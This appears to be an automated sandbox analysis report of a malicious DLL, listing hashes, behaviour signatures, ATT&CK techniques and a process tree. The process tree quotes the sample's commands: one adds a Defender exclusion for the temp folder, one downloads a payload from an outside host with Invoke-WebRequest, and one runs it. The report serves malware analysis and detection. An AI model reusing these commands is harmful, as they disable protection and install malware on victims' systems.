4b4a87552c44158fb53a72c7294319b0ddde9f99f460425ad5997d3b9121cd1e

Resubmissions

15-12-2024 15:31

241215-syg9xaykdx 8

15-12-2024 08:28

241215-kc625synes 10

Analysis

max time kernel
80s
max time network
78s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
15-12-2024 15:31

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Report Analysis Logs

General

Target

fccd129f6a5b9d2133d14922a3614f02.dll
Size

206KB
MD5

fccd129f6a5b9d2133d14922a3614f02
SHA1

e814c637e6f0c21f3aa9b43fb92cb161b4d451fc
SHA256

4b4a87552c44158fb53a72c7294319b0ddde9f99f460425ad5997d3b9121cd1e
SHA512

c1594504053bbe2b061880d1ff69819eca8bdd2bc882b74f415ff8a1515389e32b8d7cd1b931d65b042247fd05df1751a000d6da4219427b74e9cdb0e0e52979
SSDEEP

3072:4pEegLluZoATP/QGdqlhNFIkiFnZDJVvU1nSXZOAg0Fuj0pJgOgpQkV+tpMEaE:4pDyp2AQq3FWFnRehAOXpQkY7MY

Score

8^/10

discovery execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
15	1920	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3432	powershell.exe
1920	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
3984	eryy65ty.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
452	3984	WerFault.exe	98

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eryy65ty.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
3432	powershell.exe
3432	powershell.exe
1920	powershell.exe
1920	powershell.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	3300	taskmgr.exe
Token: SeSystemProfilePrivilege	3300	taskmgr.exe
Token: SeCreateGlobalPrivilege	3300	taskmgr.exe
Token: 33	3300	taskmgr.exe
Token: SeIncBasePriorityPrivilege	3300	taskmgr.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe

Suspicious use of SendNotifyMessage 42 IoCs

pid	Process
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe
3300	taskmgr.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 1032 wrote to memory of 2124	1032	rundll32.exe	82
PID 1032 wrote to memory of 2124	1032	rundll32.exe	82
PID 1032 wrote to memory of 2124	1032	rundll32.exe	82
PID 2124 wrote to memory of 4008	2124	rundll32.exe	83
PID 2124 wrote to memory of 4008	2124	rundll32.exe	83
PID 2124 wrote to memory of 4008	2124	rundll32.exe	83
PID 4008 wrote to memory of 3432	4008	cmd.exe	85
PID 4008 wrote to memory of 3432	4008	cmd.exe	85
PID 4008 wrote to memory of 3432	4008	cmd.exe	85
PID 2124 wrote to memory of 3616	2124	rundll32.exe	86
PID 2124 wrote to memory of 3616	2124	rundll32.exe	86
PID 2124 wrote to memory of 3616	2124	rundll32.exe	86
PID 3616 wrote to memory of 1920	3616	cmd.exe	88
PID 3616 wrote to memory of 1920	3616	cmd.exe	88
PID 3616 wrote to memory of 1920	3616	cmd.exe	88
PID 2124 wrote to memory of 4128	2124	rundll32.exe	96
PID 2124 wrote to memory of 4128	2124	rundll32.exe	96
PID 2124 wrote to memory of 4128	2124	rundll32.exe	96
PID 4128 wrote to memory of 3984	4128	cmd.exe	98
PID 4128 wrote to memory of 3984	4128	cmd.exe	98
PID 4128 wrote to memory of 3984	4128	cmd.exe	98

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\fccd129f6a5b9d2133d14922a3614f02.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1032
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\fccd129f6a5b9d2133d14922a3614f02.dll,#1
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2124
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4008
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3432
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3616
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1920
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c %temp%/eryy65ty.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4128
  - - C:\Users\Admin\AppData\Local\Temp\eryy65ty.exe
      C:\Users\Admin\AppData\Local\Temp/eryy65ty.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3984
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3984 -s 1324
        5⤵
        Program crash
        
        PID:452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3984 -ip 3984
1⤵
PID:3932

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
31bb17d138289336321fb5632dd10f4e

SHA1
291fe5f33d174571608d6b746274f15f7d0724ce

SHA256
da2648e9ba7a071d54b1552cbc322b9cee3ba38cae1c2d0fc8e90aea82430c69

SHA512
7894f2d69284991e8364a035e1ae726a7f7c503cf841009dad5275f20bc5e27a980cb746c7660dd7f1853238987c534f08326bc14bd3ccb0bc59c5bbfdd84c15

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dduwv2rr.ogz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\eryy65ty.exe

Filesize
881KB

MD5
9049faba5517305c44bd5f28398fb6b9

SHA1
036c6b32f3e7d7d689c9b4d482091eebcc669bfa

SHA256
d2100ffe58eb50c05d97a3da738ccd1f0be9672c057c26a10140af80595b78c3

SHA512
65a33506f970675775468f80b94a3f8bb2d3672e6fb08fc9f2e5107020095ca6d4bca927c59b72488e2ef4208a64a56ced7511ea14c0445cd50ea3ff9b827f6a

Download Submit
memory/1920-57-0x0000000005940000-0x0000000005C94000-memory.dmp

Filesize
3.3MB

Download
memory/3300-76-0x0000011FBD080000-0x0000011FBD081000-memory.dmp

Filesize
4KB

Download
memory/3300-72-0x0000011FBD080000-0x0000011FBD081000-memory.dmp

Filesize
4KB

Download
memory/3300-73-0x0000011FBD080000-0x0000011FBD081000-memory.dmp

Filesize
4KB

Download
memory/3300-74-0x0000011FBD080000-0x0000011FBD081000-memory.dmp

Filesize
4KB

Download
memory/3300-66-0x0000011FBD080000-0x0000011FBD081000-memory.dmp

Filesize
4KB

Download
memory/3300-65-0x0000011FBD080000-0x0000011FBD081000-memory.dmp

Filesize
4KB

Download
memory/3300-64-0x0000011FBD080000-0x0000011FBD081000-memory.dmp

Filesize
4KB

Download
memory/3300-70-0x0000011FBD080000-0x0000011FBD081000-memory.dmp

Filesize
4KB

Download
memory/3300-75-0x0000011FBD080000-0x0000011FBD081000-memory.dmp

Filesize
4KB

Download
memory/3300-71-0x0000011FBD080000-0x0000011FBD081000-memory.dmp

Filesize
4KB

Download
memory/3432-18-0x0000000006800000-0x000000000684C000-memory.dmp

Filesize
304KB

Download
memory/3432-32-0x0000000074540000-0x0000000074CF0000-memory.dmp

Filesize
7.7MB

Download
memory/3432-33-0x0000000074540000-0x0000000074CF0000-memory.dmp

Filesize
7.7MB

Download
memory/3432-36-0x0000000007AA0000-0x0000000007ABA000-memory.dmp

Filesize
104KB

Download
memory/3432-35-0x00000000080E0000-0x000000000875A000-memory.dmp

Filesize
6.5MB

Download
memory/3432-37-0x0000000007B20000-0x0000000007B2A000-memory.dmp

Filesize
40KB

Download
memory/3432-38-0x0000000007D20000-0x0000000007DB6000-memory.dmp

Filesize
600KB

Download
memory/3432-39-0x0000000007CB0000-0x0000000007CC1000-memory.dmp

Filesize
68KB

Download
memory/3432-40-0x0000000007CE0000-0x0000000007CEE000-memory.dmp

Filesize
56KB

Download
memory/3432-41-0x0000000007CF0000-0x0000000007D04000-memory.dmp

Filesize
80KB

Download
memory/3432-42-0x0000000007DE0000-0x0000000007DFA000-memory.dmp

Filesize
104KB

Download
memory/3432-43-0x0000000007DC0000-0x0000000007DC8000-memory.dmp

Filesize
32KB

Download
memory/3432-46-0x0000000074540000-0x0000000074CF0000-memory.dmp

Filesize
7.7MB

Download
memory/3432-34-0x0000000007960000-0x0000000007A03000-memory.dmp

Filesize
652KB

Download
memory/3432-30-0x0000000006D70000-0x0000000006D8E000-memory.dmp

Filesize
120KB

Download
memory/3432-31-0x0000000074540000-0x0000000074CF0000-memory.dmp

Filesize
7.7MB

Download
memory/3432-20-0x0000000070360000-0x00000000703AC000-memory.dmp

Filesize
304KB

Download
memory/3432-19-0x0000000006D30000-0x0000000006D62000-memory.dmp

Filesize
200KB

Download
memory/3432-0-0x000000007454E000-0x000000007454F000-memory.dmp

Filesize
4KB

Download
memory/3432-17-0x0000000006770000-0x000000000678E000-memory.dmp

Filesize
120KB

Download
memory/3432-16-0x0000000006140000-0x0000000006494000-memory.dmp

Filesize
3.3MB

Download
memory/3432-6-0x0000000006050000-0x00000000060B6000-memory.dmp

Filesize
408KB

Download
memory/3432-5-0x0000000005FE0000-0x0000000006046000-memory.dmp

Filesize
408KB

Download
memory/3432-4-0x0000000005780000-0x00000000057A2000-memory.dmp

Filesize
136KB

Download
memory/3432-3-0x0000000005940000-0x0000000005F68000-memory.dmp

Filesize
6.2MB

Download
memory/3432-2-0x0000000074540000-0x0000000074CF0000-memory.dmp

Filesize
7.7MB

Download
memory/3432-1-0x00000000031B0000-0x00000000031E6000-memory.dmp

Filesize
216KB

Download